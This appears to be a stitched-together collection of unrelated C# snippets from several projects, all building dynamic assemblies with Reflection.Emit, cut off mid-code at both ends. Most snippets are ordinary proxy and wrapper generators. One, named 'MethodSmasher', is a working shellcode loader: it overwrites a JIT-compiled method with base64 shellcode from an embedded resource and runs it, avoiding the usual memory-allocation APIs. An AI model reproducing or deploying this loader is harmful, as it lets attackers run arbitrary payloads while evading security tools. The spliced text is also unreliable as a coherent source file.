myILGenerator3.Emit(OpCodes.Stfld, myGreetingField); myILGenerator3.Emit(OpCodes.Ret); // Add a method to the type. myMethodBuilder = myTypeBuilder.DefineMethod ("HelloWorld", MethodAttributes.Public, null, null); // Generate MSIL for the method. ILGenerator myILGenerator2 = myMethodBuilder.GetILGenerator(); myILGenerator2.EmitWriteLine("Hello World from global"); myILGenerator2.Emit(OpCodes.Ret); myModuleBuilder.CreateGlobalFunctions(); myType1 = myTypeBuilder.CreateType(); }
public AssemblyGen(string moduleName, string outDir, string outFile, AssemblyGenAttributes generationAttributes, PortableExecutableKinds peKind, ImageFileMachine machine) { Contract.Requires(!String.IsNullOrEmpty(moduleName), "moduleName", "Module name cannot be a null reference or an empty string."); Contract.Requires(outFile != null || !SaveAndReloadAssemblies, "outFile", "SaveAssemblies mode requires non-null output file name."); _genAttrs = generationAttributes; AssemblyName asmname = new AssemblyName(); AppDomain domain = AppDomain.CurrentDomain; //System.Threading.Thread.GetDomain(); _machine = machine; _peKind = peKind; _outFileName = outFile; #if SILVERLIGHT // AssemblyBuilderAccess.RunAndSave, Environment.CurrentDirectory asmname.Name = moduleName; _myAssembly = domain.DefineDynamicAssembly(asmname, AssemblyBuilderAccess.Run); _myModule = _myAssembly.DefineDynamicModule(moduleName, EmitDebugInfo); #else try { outDir = Path.GetFullPath(String.IsNullOrEmpty(outDir) ? Environment.CurrentDirectory : outDir); } catch (Exception e) { throw new ArgumentException("Invalid output directory", e); } if (SaveAndReloadAssemblies #if PEVERIFY || VerifyAssemblies #endif ) { _outDir = outDir; } if (moduleName == "ironscheme.boot.new") { _outDir = outDir = Path.Combine(outDir, "build"); _outFileName = "ironscheme.boot.dll"; } // SymbolWriter fails on Mono for some reason if (SaveAndReloadAssemblies) { asmname.Name = moduleName == "ironscheme.boot.new" ? "ironscheme.boot" : moduleName; if (File.Exists("DEVELOPMENT.snk")) { asmname.KeyPair = new StrongNameKeyPair(File.ReadAllBytes("DEVELOPMENT.snk")); } asmname.Version = new Version("1.0.0.0"); #pragma warning disable 0618 _myAssembly = domain.DefineDynamicAssembly(asmname, moduleName == "ironscheme.boot.new" ? AssemblyBuilderAccess.Save : AssemblyBuilderAccess.RunAndSave, outDir, null); #pragma warning restore 0618 _myModule = _myAssembly.DefineDynamicModule(moduleName == "ironscheme.boot.new" ? "ironscheme.boot.dll" : _outFileName, _outFileName, EmitDebugInfo); } else { asmname.Name = moduleName; _myAssembly = domain.DefineDynamicAssembly(asmname, AssemblyBuilderAccess.Run); _myModule = _myAssembly.DefineDynamicModule(moduleName, EmitDebugInfo); } _myAssembly.DefineVersionInfoResource(); #endif if (EmitDebugInfo) { SetDebuggableAttributes(); } }
public AssemblyBuilder DefineDynamicAssembly(AppDomain appDomain, AssemblyName name) { AssemblyBuilderAccess access = AssemblyBuilderAccess.RunAndSave; return(appDomain.DefineDynamicAssembly(new AssemblyName(assemblyName), access, TestContext.CurrentContext.TestDirectory)); }
// Creates implementation of a given interface for wrapping function the specified DLL WrappedInterface createInterface <IT>(string dll_name) where IT : class { WrappedInterface result = new WrappedInterface(); Type itype = typeof(IT); AppDomain cd = System.Threading.Thread.GetDomain(); AssemblyName an = new AssemblyName(); an.Name = itype.Name + "_" + dll_name.Replace('.', '_'); AssemblyBuilder ab = cd.DefineDynamicAssembly(an, AssemblyBuilderAccess.Run); ModuleBuilder mb = ab.DefineDynamicModule(an.Name, false); TypeBuilder tb = mb.DefineType(an.Name, TypeAttributes.Class | TypeAttributes.Public); tb.AddInterfaceImplementation(itype); IntPtr dll_handle = _loaded_dlls[dll_name].handle; Dictionary <List <Type>, Type> signature_to_name = new Dictionary <List <Type>, Type>(new TypeListComparer()); // Set delegate references foreach (MethodInfo m in itype.GetMethods()) { ParameterInfo[] parameters = m.GetParameters(); Type[] arg_types = new Type[parameters.Length]; for (int i = 0; i < parameters.Length; i++) { arg_types[i] = parameters[i].ParameterType; } Type delegate_ret_type = m.ReturnType; if (delegate_ret_type == typeof(String)) { delegate_ret_type = typeof(sbyte *); } List <Type> signature = new List <Type>(); signature.Add(delegate_ret_type); signature.AddRange(arg_types); Type call_delegate = null; if (!signature_to_name.TryGetValue(signature, out call_delegate)) { // Check if type was already created string delegate_type_name = String.Format("delegate_{0}", signature_to_name.Count); call_delegate = createDelegateType(delegate_type_name, mb, delegate_ret_type, arg_types); signature_to_name.Add(signature, call_delegate); } string delegate_field_name = m.Name + "_ptr"; FieldBuilder delegate_field = tb.DefineField(delegate_field_name, typeof(Delegate), FieldAttributes.Private); IntPtr proc = LibraryLoader.GetProcAddress(dll_handle, m.Name); if (proc == IntPtr.Zero) { throw new Exception(String.Format("Cannot find procedure {0} in the library {1}", m.Name, dll_name)); } Delegate proc_delegate = Marshal.GetDelegateForFunctionPointer(proc, call_delegate); result.delegates.Add(delegate_field_name, proc_delegate); MethodBuilder meth = tb.DefineMethod(m.Name, MethodAttributes.Public | MethodAttributes.Virtual, m.ReturnType, arg_types); ILGenerator il = meth.GetILGenerator(); il.Emit(OpCodes.Ldarg_0); il.Emit(OpCodes.Ldfld, delegate_field); for (int i = 1; i < arg_types.Length + 1; i++) { il.Emit(OpCodes.Ldarg, i); } MethodInfo infoMethod = proc_delegate.GetType().GetMethod("Invoke", arg_types); il.EmitCall(OpCodes.Callvirt, infoMethod, null); // Automatically convert sbyte* to String if (m.ReturnType == typeof(String)) { Type str_type = typeof(String); ConstructorInfo ci = str_type.GetConstructor(new Type[] { typeof(sbyte *) }); il.Emit(OpCodes.Newobj, ci); } il.Emit(OpCodes.Ret); tb.DefineMethodOverride(meth, m); } // ab.Save(an.Name + ".dll"); Type impl_class = tb.CreateType(); IT impl = (IT)Activator.CreateInstance(impl_class); // Set references to the delegates foreach (string field_name in result.delegates.Keys) { impl_class.GetField(field_name, BindingFlags.Instance | BindingFlags.NonPublic) .SetValue(impl, result.delegates[field_name]); } result.instance = impl; return(result); }
public static void Main(string[] args) { Type SmasherType = null; SmasherType = Assembly.GetExecutingAssembly().GetType("MethodSmasher"); if (SmasherType == null) { AppDomain currDomain = AppDomain.CurrentDomain; AssemblyName assName = new AssemblyName("MethodSmasher"); AssemblyBuilder assBuilder = currDomain.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run); AllowPartiallyTrustedCallersAttribute att = new AllowPartiallyTrustedCallersAttribute(); ConstructorInfo attConstructor = att.GetType().GetConstructors()[0]; CustomAttributeBuilder attBuilder = new CustomAttributeBuilder(attConstructor, new object[] { }); assBuilder.SetCustomAttribute(attBuilder); ModuleBuilder modBuilder = assBuilder.DefineDynamicModule("MethodSmasher"); UnverifiableCodeAttribute codAtt = new UnverifiableCodeAttribute(); ConstructorInfo codAttConstructor = codAtt.GetType().GetConstructors()[0]; CustomAttributeBuilder modAttBuilder = new CustomAttributeBuilder(codAttConstructor, new object[] { }); modBuilder.SetCustomAttribute(modAttBuilder); TypeBuilder tBuilder = modBuilder.DefineType("MethodSmasher", TypeAttributes.Public); Type[] parameters = new Type[3] { typeof(IntPtr), typeof(IntPtr), typeof(Int32) }; MethodBuilder methBuilder = tBuilder.DefineMethod("OverwriteMethod", (MethodAttributes.Static | MethodAttributes.Public), null, parameters); ILGenerator generator = methBuilder.GetILGenerator(); generator.Emit(OpCodes.Ldarg_0); generator.Emit(OpCodes.Ldarg_1); generator.Emit(OpCodes.Ldarg_2); generator.Emit(OpCodes.Volatile); generator.Emit(OpCodes.Cpblk); generator.Emit(OpCodes.Ret); SmasherType = tBuilder.CreateType(); } MethodInfo OverwriteMethod = SmasherType.GetMethod("OverwriteMethod"); Type SmashMeType = null; SmashMeType = Assembly.GetExecutingAssembly().GetType("SmashMe"); if (SmashMeType == null) { AppDomain currDomain = AppDomain.CurrentDomain; AssemblyName assName = new AssemblyName("SmashMe"); AssemblyBuilder assBuilder = currDomain.DefineDynamicAssembly(assName, AssemblyBuilderAccess.Run); AllowPartiallyTrustedCallersAttribute att = new AllowPartiallyTrustedCallersAttribute(); ConstructorInfo attConstructor = att.GetType().GetConstructors()[0]; CustomAttributeBuilder attBuilder = new CustomAttributeBuilder(attConstructor, new object[] { }); assBuilder.SetCustomAttribute(attBuilder); ModuleBuilder modBuilder = assBuilder.DefineDynamicModule("SmashMe"); UnverifiableCodeAttribute codAtt = new UnverifiableCodeAttribute(); ConstructorInfo codAttConstructor = codAtt.GetType().GetConstructors()[0]; CustomAttributeBuilder modAttBuilder = new CustomAttributeBuilder(codAttConstructor, new object[] { }); modBuilder.SetCustomAttribute(modAttBuilder); TypeBuilder tBuilder = modBuilder.DefineType("SmashMe", TypeAttributes.Public); Type[] parameters = new Type[1] { typeof(Int32) }; MethodBuilder mBuilder = tBuilder.DefineMethod("OverwriteMe", (MethodAttributes.Public | MethodAttributes.Static), typeof(Int32), parameters); ILGenerator generator = mBuilder.GetILGenerator(); Int32 xorValue = 0x41424344; generator.DeclareLocal(typeof(Int32)); generator.Emit(OpCodes.Ldarg_0); for (int i = 0; i < 100; i++) { generator.Emit(OpCodes.Ldc_I4, xorValue); generator.Emit(OpCodes.Xor); generator.Emit(OpCodes.Stloc_0); generator.Emit(OpCodes.Ldloc_0); xorValue++; } generator.Emit(OpCodes.Ldc_I4, xorValue); generator.Emit(OpCodes.Xor); generator.Emit(OpCodes.Ret); SmashMeType = tBuilder.CreateType(); } MethodInfo TargetMethod = SmashMeType.GetMethod("OverwriteMe"); //Force target method to be JIT'd for (int i = 0; i < 20; i++) { TargetMethod.Invoke(null, new object[] { 0x11112222 }); } IntPtr scAddress = IntPtr.Zero; if (IntPtr.Size == 4) { //Your shellcode should be base64 encoded var currentAssembly = Assembly.GetExecutingAssembly(); var resourceStream = currentAssembly.GetManifestResourceStream(@"NoAPISCLoader.scx86.txt"); StreamReader sr = new StreamReader(resourceStream); string encSC = sr.ReadToEnd(); byte[] buf = Convert.FromBase64String(encSC); byte[] shellcodeStub = new byte[10] { 0x60, 0xE8, 0x04, 0x00, 0x00, 0x00, 0x61, 0x31, 0xC0, 0xC3 }; byte[] finalShellcode = new byte[buf.Length + shellcodeStub.Length]; Buffer.BlockCopy(shellcodeStub, 0, finalShellcode, 0, shellcodeStub.Length); Buffer.BlockCopy(buf, 0, finalShellcode, shellcodeStub.Length, buf.Length); scAddress = Marshal.AllocHGlobal(finalShellcode.Length); Marshal.Copy(finalShellcode, 0, scAddress, finalShellcode.Length); var TargetMethodAddress = GetMethodAddress(TargetMethod); object[] methargs = new object[3] { TargetMethodAddress, scAddress, finalShellcode.Length }; OverwriteMethod.Invoke(null, methargs); object[] methargs2 = new object[1] { 0x11112222 }; var retval = TargetMethod.Invoke(null, methargs2); if ((Int32)retval != 0) { System.Environment.Exit(0); } } else { //Your shellcode should be base64 encoded var currentAssembly = Assembly.GetExecutingAssembly(); var resourceStream = currentAssembly.GetManifestResourceStream(@"NoAPISCLoader.scx64.txt"); StreamReader sr = new StreamReader(resourceStream); string encSC = sr.ReadToEnd(); byte[] buf = Convert.FromBase64String(encSC); byte[] shellcodeStub = new byte[27] { 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x55, 0xE8, 0x0D, 0x00, 0x00, 0x00, 0x5D, 0x41, 0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x48, 0x31, 0xC0, 0xC3 }; byte[] finalShellcode = new byte[buf.Length + shellcodeStub.Length]; Buffer.BlockCopy(shellcodeStub, 0, finalShellcode, 0, shellcodeStub.Length); Buffer.BlockCopy(buf, 0, finalShellcode, shellcodeStub.Length, buf.Length); scAddress = Marshal.AllocHGlobal(finalShellcode.Length); Marshal.Copy(finalShellcode, 0, scAddress, finalShellcode.Length); var TargetMethodAddress = GetMethodAddress(TargetMethod); object[] methargs = new object[3] { TargetMethodAddress, scAddress, finalShellcode.Length }; OverwriteMethod.Invoke(null, methargs); object[] methargs2 = new object[1] { 0x11112222 }; var retval = TargetMethod.Invoke(null, methargs2); if ((Int32)retval != 0) { System.Environment.Exit(0); } } }
private Type CreateType(IProxyInvocationHandler handler, Type[] interfaces, string dynamicTypeName) { Type retVal = null; if (handler != null && interfaces != null) { Type objType = typeof(Object); Type handlerType = typeof(IProxyInvocationHandler); AppDomain domain = Thread.GetDomain(); AssemblyName assemblyName = new AssemblyName(); assemblyName.Name = ASSEMBLY_NAME; assemblyName.Version = new Version(1, 0, 0, 0); // create a new assembly for this proxy, one that isn't presisted on the file system AssemblyBuilder assemblyBuilder = domain.DefineDynamicAssembly( assemblyName, AssemblyBuilderAccess.Run); // assemblyName, AssemblyBuilderAccess.RunAndSave,"."); // to save it to the disk // create a new module for this proxy ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(MODULE_NAME); // Set the class to be public and sealed TypeAttributes typeAttributes = TypeAttributes.Class | TypeAttributes.Public | TypeAttributes.Sealed; // Gather up the proxy information and create a new type builder. One that // inherits from Object and implements the interface passed in TypeBuilder typeBuilder = moduleBuilder.DefineType( dynamicTypeName, typeAttributes, objType, interfaces); // Define a member variable to hold the delegate FieldBuilder handlerField = typeBuilder.DefineField( HANDLER_NAME, handlerType, FieldAttributes.Private); // build a constructor that takes the delegate object as the only argument //ConstructorInfo defaultObjConstructor = objType.GetConstructor( new Type[0] ); ConstructorInfo superConstructor = objType.GetConstructor(new Type[0]); ConstructorBuilder delegateConstructor = typeBuilder.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, new Type[] { handlerType }); #region ( "Constructor IL Code" ) ILGenerator constructorIL = delegateConstructor.GetILGenerator(); // Load "this" constructorIL.Emit(OpCodes.Ldarg_0); // Load first constructor parameter constructorIL.Emit(OpCodes.Ldarg_1); // Set the first parameter into the handler field constructorIL.Emit(OpCodes.Stfld, handlerField); // Load "this" constructorIL.Emit(OpCodes.Ldarg_0); // Call the super constructor constructorIL.Emit(OpCodes.Call, superConstructor); // Constructor return constructorIL.Emit(OpCodes.Ret); #endregion // for every method that the interfaces define, build a corresponding // method in the dynamic type that calls the handlers invoke method. foreach (Type interfaceType in interfaces) { GenerateMethod(interfaceType, handlerField, typeBuilder); } retVal = typeBuilder.CreateType(); // assemblyBuilder.Save(dynamicTypeName + ".dll"); } return(retVal); }
/// <summary> /// 为指定接口动态创建代理类型 /// </summary> /// <param name="interfaceType"></param> /// <returns></returns> private static Type DynamicallyCreateProxyType(Type interfaceType) { var methodInfo = MethodBase.GetCurrentMethod(); String methodName = methodInfo.Name; Type objectType = typeof(Object); String assemblyName = "DynamicAssembly"; String moudleName = "DynamicMoudle"; String typeName = interfaceType.FullName + ".DynamicProxy"; String field_handler_Name = "_handler"; String field_interfaceType_Name = "_interfaceType"; //在当前程序域中构建程序集信息 AppDomain domain = AppDomain.CurrentDomain; //构建一个程序集 AssemblyName assemblyNameObj = new AssemblyName(assemblyName); assemblyNameObj.Version = new Version(1, 0, 0, 0); assemblyNameObj.CultureInfo = null; #if NET40 AssemblyBuilder assemblyBuilder = domain.DefineDynamicAssembly( assemblyNameObj, AssemblyBuilderAccess.RunAndCollect); #else AssemblyBuilder assemblyBuilder = AssemblyBuilder.DefineDynamicAssembly( assemblyNameObj, AssemblyBuilderAccess.RunAndCollect); #endif //在程序集中构建基本模块 ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule(moudleName); //在模块中构建类型 TypeBuilder typeBuilder = moduleBuilder.DefineType( typeName, TypeAttributes.Class | TypeAttributes.Public | TypeAttributes.Sealed, objectType, new Type[] { interfaceType, typeof(IDisposable) }); //为类型构建字段成员 FieldBuilder handlerField = typeBuilder.DefineField( field_handler_Name, typeof(IInvokeHandler), FieldAttributes.Private); FieldBuilder interfaceTypeField = typeBuilder.DefineField( field_interfaceType_Name, interfaceType, FieldAttributes.Private); //为类型构建构造函数信息 ConstructorInfo objectConstructorInfo = objectType.GetConstructor(new Type[] { }); //public DynamicProxy(IDynamicProxyHandler handler,Type interfaceType) ConstructorBuilder constructorBuilder = typeBuilder.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, new Type[] { typeof(IInvokeHandler), typeof(Type) }); ILGenerator iLGenerator = constructorBuilder.GetILGenerator(); //在构造函数中使用参数为私有字赋值 //this._handler=handler; iLGenerator.Emit(OpCodes.Ldarg_0); iLGenerator.Emit(OpCodes.Ldarg_1); iLGenerator.Emit(OpCodes.Stfld, handlerField); //this._interfaceType=interfaceType; iLGenerator.Emit(OpCodes.Ldarg_0); iLGenerator.Emit(OpCodes.Ldarg_2); iLGenerator.Emit(OpCodes.Stfld, interfaceTypeField); //调用基类的构造函数 iLGenerator.Emit(OpCodes.Ldarg_0); iLGenerator.Emit(OpCodes.Call, objectConstructorInfo); iLGenerator.Emit(OpCodes.Ret); //为类型构建方法成员 DynamicallyCreateProxyTypeMethod(interfaceType, typeBuilder, handlerField, interfaceTypeField); DynamicallyCreateProxyTypeMethod(typeof(IDisposable), typeBuilder, handlerField, interfaceTypeField); #if NET40 return(typeBuilder.CreateType()); #else return(typeBuilder.CreateTypeInfo()); #endif }
[MethodImplAttribute(MethodImplOptions.NoInlining)] // Methods containing StackCrawlMark local var has to be marked non-inlineable private static AssemblyBuilder CreateAssemblyForTypeLib(Object typeLib, String asmFileName, AssemblyName asmName, bool bPrimaryInteropAssembly, bool bReflectionOnly, bool bNoDefineVersionResource) { // Retrieve the current app domain. AppDomain currentDomain = Thread.GetDomain(); // Retrieve the directory from the assembly file name. String dir = null; if (asmFileName != null) { dir = Path.GetDirectoryName(asmFileName); if (String.IsNullOrEmpty(dir)) { dir = null; } } AssemblyBuilderAccess aba; if (bReflectionOnly) { aba = AssemblyBuilderAccess.ReflectionOnly; } else { aba = AssemblyBuilderAccess.RunAndSave; } // Create the dynamic assembly itself. AssemblyBuilder asmBldr; List <CustomAttributeBuilder> assemblyAttributes = new List <CustomAttributeBuilder>(); #if !FEATURE_CORECLR // mscorlib.dll must specify the security rules that assemblies it emits are to use, since by // default all assemblies will follow security rule set level 2, and we want to make that an // explicit decision. ConstructorInfo securityRulesCtor = typeof(SecurityRulesAttribute).GetConstructor(new Type[] { typeof(SecurityRuleSet) }); CustomAttributeBuilder securityRulesAttribute = new CustomAttributeBuilder(securityRulesCtor, new object[] { SecurityRuleSet.Level2 }); assemblyAttributes.Add(securityRulesAttribute); #endif // !FEATURE_CORECLR asmBldr = currentDomain.DefineDynamicAssembly(asmName, aba, dir, false, assemblyAttributes); // Set the Guid custom attribute on the assembly. SetGuidAttributeOnAssembly(asmBldr, typeLib); // Set the imported from COM attribute on the assembly and return it. SetImportedFromTypeLibAttrOnAssembly(asmBldr, typeLib); // Set the version information on the typelib. if (bNoDefineVersionResource) { SetTypeLibVersionAttribute(asmBldr, typeLib); } else { SetVersionInformation(asmBldr, typeLib, asmName); } // If we are generating a PIA, then set the PIA custom attribute. if (bPrimaryInteropAssembly) { SetPIAAttributeOnAssembly(asmBldr, typeLib); } return(asmBldr); }
public InterfaceImplementor(Handler handler) { Type intf = typeof(TInterface); string intname = intf.Name; if (!intf.IsInterface) { throw new ArgumentException("TInterface is not an interface"); } AssemblyName asmName = new AssemblyName(); asmName.Name = intname + "Implementation"; AppDomain ad = AppDomain.CurrentDomain; AssemblyBuilder ab = ad.DefineDynamicAssembly(asmName, AssemblyBuilderAccess.RunAndSave); ModuleBuilder mb = ab.DefineDynamicModule(asmName.Name, asmName.Name + ".dll"); TypeBuilder tb = mb.DefineType( asmName.Name + "Impl", TypeAttributes.Class, typeof(MarshalByRefObject), new Type[] { intf }); FieldBuilder methodHandler = tb.DefineField( "handler", typeof(Handler), FieldAttributes.Private); ConstructorInfo baseConstructorInfo = typeof(object).GetConstructor(new Type[0]); ConstructorBuilder cb = tb.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, new Type[] { typeof(Handler) }); // Make the constructor ILGenerator gen = cb.GetILGenerator(); gen.Emit(OpCodes.Ldarg_0); gen.Emit(OpCodes.Call, baseConstructorInfo); gen.Emit(OpCodes.Ldarg_0); gen.Emit(OpCodes.Ldarg_1); gen.Emit(OpCodes.Stfld, methodHandler); gen.Emit(OpCodes.Ret); foreach (MethodInfo mi in intf.GetMethods()) { ParameterInfo[] pis = mi.GetParameters(); MethodBuilder method = tb.DefineMethod( mi.Name, MethodAttributes.Public | MethodAttributes.Virtual | MethodAttributes.Final | MethodAttributes.HideBySig | MethodAttributes.NewSlot, CallingConventions.Standard, mi.ReturnType, ArrayUtils.ConvertAll(pis, x => x.ParameterType)); ILGenerator mgen = method.GetILGenerator(); LocalBuilder lb = mgen.DeclareLocal(typeof(object[])); mgen.Emit(OpCodes.Nop); mgen.Emit(OpCodes.Ldarg_0); mgen.Emit(OpCodes.Ldfld, methodHandler); mgen.Emit(OpCodes.Ldstr, mi.Name); // Make the object array if (pis.Length == 0) { mgen.Emit(OpCodes.Ldc_I4_0); } else if (pis.Length == 1) { mgen.Emit(OpCodes.Ldc_I4_1); } else if (pis.Length == 2) { mgen.Emit(OpCodes.Ldc_I4_2); } else if (pis.Length == 3) { mgen.Emit(OpCodes.Ldc_I4_3); } else if (pis.Length == 4) { mgen.Emit(OpCodes.Ldc_I4_4); } else if (pis.Length == 5) { mgen.Emit(OpCodes.Ldc_I4_5); } else if (pis.Length == 6) { mgen.Emit(OpCodes.Ldc_I4_6); } else if (pis.Length == 7) { mgen.Emit(OpCodes.Ldc_I4_7); } else if (pis.Length == 8) { mgen.Emit(OpCodes.Ldc_I4_8); } else { mgen.Emit(OpCodes.Ldc_I4, pis.Length); } mgen.Emit(OpCodes.Newarr, typeof(object)); mgen.Emit(OpCodes.Stloc_0); for (int i = 0; i < pis.Length; i++) { // Load the object array mgen.Emit(OpCodes.Ldloc_0); if (i == 0) { mgen.Emit(OpCodes.Ldc_I4_0); mgen.Emit(OpCodes.Ldarg_1); } else { mgen.Emit(OpCodes.Ldc_I4, i); mgen.Emit(OpCodes.Ldarg, i + 1); } if (pis[i].ParameterType.IsValueType) { mgen.Emit(OpCodes.Box, pis[i].ParameterType); } mgen.Emit(OpCodes.Stelem_Ref); } mgen.Emit(OpCodes.Ldloc_0); mgen.EmitCall( OpCodes.Callvirt, typeof(Handler).GetMethod("Invoke"), new Type[] { typeof(object) }); if (mi.ReturnType == typeof(void)) { mgen.Emit(OpCodes.Pop); } mgen.Emit(OpCodes.Ret); tb.DefineMethodOverride(method, mi); } Type t = tb.CreateType(); ab.Save(asmName.Name + ".dll"); Interface = (TInterface)Activator.CreateInstance(t, handler); }
//internal static Dictionary<Type, Type> GetStubTypes(this IEnumerable<Type> controllerTypes, StubomaticOptions options) //{ // var assemblyBuilder = AppDomain.CurrentDomain.DefineStubAssembly(); // var moduleBuilder = assemblyBuilder.DefineStubModule(); // var types = new Dictionary<Type, Type>(); // foreach (var controllerType in controllerTypes) // { // var stubType = moduleBuilder.GetStubProxyType(controllerType, options); // if (stubType != null) types.Add(controllerType, stubType); // } // return types; //} private static AssemblyBuilder DefineStubAssembly(this AppDomain domain) { var assemblyName = new AssemblyName("stubAsm_" + Guid.NewGuid().ToString("N")); return(domain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run));//AndSave); }
private static Type GetWrapperTypeNoCache(Type type, bool logHistory) { if (type.IsSealed) { throw new ArgumentException("The supplied type must not be sealed."); } AppDomain myDomain = AppDomain.CurrentDomain; AssemblyName myAsmName = new AssemblyName(type.Assembly.FullName.Remove(type.Assembly.FullName.IndexOf(",")) + ".__PropertyWatcher"); AssemblyBuilder myAssembly = myDomain.DefineDynamicAssembly(myAsmName, AssemblyBuilderAccess.RunAndSave); var module = myAssembly.DefineDynamicModule(myAsmName.Name, myAsmName.Name + ".dll"); TypeBuilder typeBuilder = module.DefineType(type.Name, TypeAttributes.Public, type); var propertyWatcherType = typeof(PropertyWatcher <>).MakeGenericType(type); var propertyWatcherField = typeBuilder.DefineField(FieldName, propertyWatcherType, FieldAttributes.Public | FieldAttributes.InitOnly); var propertyWatcherConstructor = propertyWatcherType.GetConstructor(new[] { typeof(bool) }); foreach (var oldConstructor in type.GetConstructors()) { Type[] paramTypes = oldConstructor.GetParameters().Select(c => c.ParameterType).ToArray(); ConstructorBuilder newConstructorMethodBuilder = typeBuilder.DefineConstructor(oldConstructor.Attributes, oldConstructor.CallingConvention, paramTypes); ILGenerator constructorIL = newConstructorMethodBuilder.GetILGenerator(); constructorIL.Emit(OpCodes.Ldarg_0); constructorIL.Emit(logHistory ? OpCodes.Ldc_I4_1 : OpCodes.Ldc_I4_0); constructorIL.Emit(OpCodes.Newobj, propertyWatcherConstructor); constructorIL.Emit(OpCodes.Stfld, propertyWatcherField); constructorIL.Emit(OpCodes.Ldarg_0); for (int v = 0; v < paramTypes.Length; v++) { constructorIL.Emit(OpCodes.Ldarga_S, v + 1); } constructorIL.Emit(OpCodes.Call, oldConstructor); constructorIL.Emit(OpCodes.Ret); } var setMethod = propertyWatcherType.GetMethod("Set", new[] { typeof(string), typeof(object) }); foreach (var prop in type.GetProperties()) { if (prop.CanWrite) { var oldSetter = prop.GetSetMethod(); if (!oldSetter.IsVirtual) { throw new ArgumentException(string.Format("The property {0} must be made virtual.", prop.Name)); } MethodBuilder pSet = typeBuilder.DefineMethod(oldSetter.Name, oldSetter.Attributes, oldSetter.ReturnType, new Type[] { prop.PropertyType }); ILGenerator pILSet = pSet.GetILGenerator(); pILSet.Emit(OpCodes.Ldarg_0); pILSet.Emit(OpCodes.Ldarg_1); pILSet.Emit(OpCodes.Call, oldSetter); pILSet.Emit(OpCodes.Ldarg_0); pILSet.Emit(OpCodes.Ldfld, propertyWatcherField); pILSet.Emit(OpCodes.Ldstr, prop.Name); pILSet.Emit(OpCodes.Ldarg_1); pILSet.Emit(OpCodes.Callvirt, setMethod); pILSet.Emit(OpCodes.Pop); pILSet.Emit(OpCodes.Ret); typeBuilder.DefineMethodOverride(pSet, oldSetter); } } return(typeBuilder.CreateType()); }
private void CreateAssemblyBuilder() { AppDomain myDomain = AppDomain.CurrentDomain; assemblyBuilder = myDomain.DefineDynamicAssembly(CreateAssemblyName(), AssemblyBuilderAccess.RunAndSave, Path.GetDirectoryName(outputPath)); }
public static Type BuildDynAssembly() { Type pointType = null; AppDomain currentDom = Thread.GetDomain(); Console.Write("Please enter a name for your new assembly: "); StringBuilder asmFileNameBldr = new StringBuilder(); asmFileNameBldr.Append(Console.ReadLine()); asmFileNameBldr.Append(".exe"); string asmFileName = asmFileNameBldr.ToString(); AssemblyName myAsmName = new AssemblyName(); myAsmName.Name = "MyDynamicAssembly"; AssemblyBuilder myAsmBldr = currentDom.DefineDynamicAssembly( myAsmName, AssemblyBuilderAccess.RunAndSave); // We've created a dynamic assembly space - now, we need to create a module // within it to reflect the type Point into. ModuleBuilder myModuleBldr = myAsmBldr.DefineDynamicModule(asmFileName, asmFileName); TypeBuilder myTypeBldr = myModuleBldr.DefineType("Point"); FieldBuilder xField = myTypeBldr.DefineField("x", typeof(int), FieldAttributes.Private); FieldBuilder yField = myTypeBldr.DefineField("y", typeof(int), FieldAttributes.Private); // Build the constructor. Type objType = Type.GetType("System.Object"); ConstructorInfo objCtor = objType.GetConstructor(new Type[0]); Type[] ctorParams = new Type[] { typeof(int), typeof(int) }; ConstructorBuilder pointCtor = myTypeBldr.DefineConstructor( MethodAttributes.Public, CallingConventions.Standard, ctorParams); ILGenerator ctorIL = pointCtor.GetILGenerator(); ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Call, objCtor); ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Ldarg_1); ctorIL.Emit(OpCodes.Stfld, xField); ctorIL.Emit(OpCodes.Ldarg_0); ctorIL.Emit(OpCodes.Ldarg_2); ctorIL.Emit(OpCodes.Stfld, yField); ctorIL.Emit(OpCodes.Ret); // Build the DotProduct method. Console.WriteLine("Constructor built."); MethodBuilder pointDPBldr = myTypeBldr.DefineMethod("DotProduct", MethodAttributes.Public, typeof(int), new Type[] { myTypeBldr }); ILGenerator dpIL = pointDPBldr.GetILGenerator(); dpIL.Emit(OpCodes.Ldarg_0); dpIL.Emit(OpCodes.Ldfld, xField); dpIL.Emit(OpCodes.Ldarg_1); dpIL.Emit(OpCodes.Ldfld, xField); dpIL.Emit(OpCodes.Mul_Ovf_Un); dpIL.Emit(OpCodes.Ldarg_0); dpIL.Emit(OpCodes.Ldfld, yField); dpIL.Emit(OpCodes.Ldarg_1); dpIL.Emit(OpCodes.Ldfld, yField); dpIL.Emit(OpCodes.Mul_Ovf_Un); dpIL.Emit(OpCodes.Add_Ovf_Un); dpIL.Emit(OpCodes.Ret); // Build the PointMain method. Console.WriteLine("DotProduct built."); MethodBuilder pointMainBldr = myTypeBldr.DefineMethod("PointMain", MethodAttributes.Public | MethodAttributes.Static, typeof(void), null); pointMainBldr.InitLocals = true; ILGenerator pmIL = pointMainBldr.GetILGenerator(); // We have four methods that we wish to call, and must represent as // MethodInfo tokens: // - void Console.WriteLine(string) // - string Console.ReadLine() // - int Convert.Int32(string) // - void Console.WriteLine(string, object[]) MethodInfo writeMI = typeof(Console).GetMethod( "Write", new Type[] { typeof(string) }); MethodInfo readLineMI = typeof(Console).GetMethod( "ReadLine", new Type[0]); MethodInfo convertInt32MI = typeof(Convert).GetMethod( "ToInt32", new Type[] { typeof(string) }); Type[] wlParams = new Type[] { typeof(string), typeof(object[]) }; MethodInfo writeLineMI = typeof(Console).GetMethod( "WriteLine", wlParams); // Although we could just refer to the local variables by // index (short ints for Ldloc/Stloc, bytes for LdLoc_S/Stloc_S), // this time, we'll use LocalBuilders for clarity and to // demonstrate their usage and syntax. LocalBuilder x1LB = pmIL.DeclareLocal(typeof(int)); LocalBuilder y1LB = pmIL.DeclareLocal(typeof(int)); LocalBuilder x2LB = pmIL.DeclareLocal(typeof(int)); LocalBuilder y2LB = 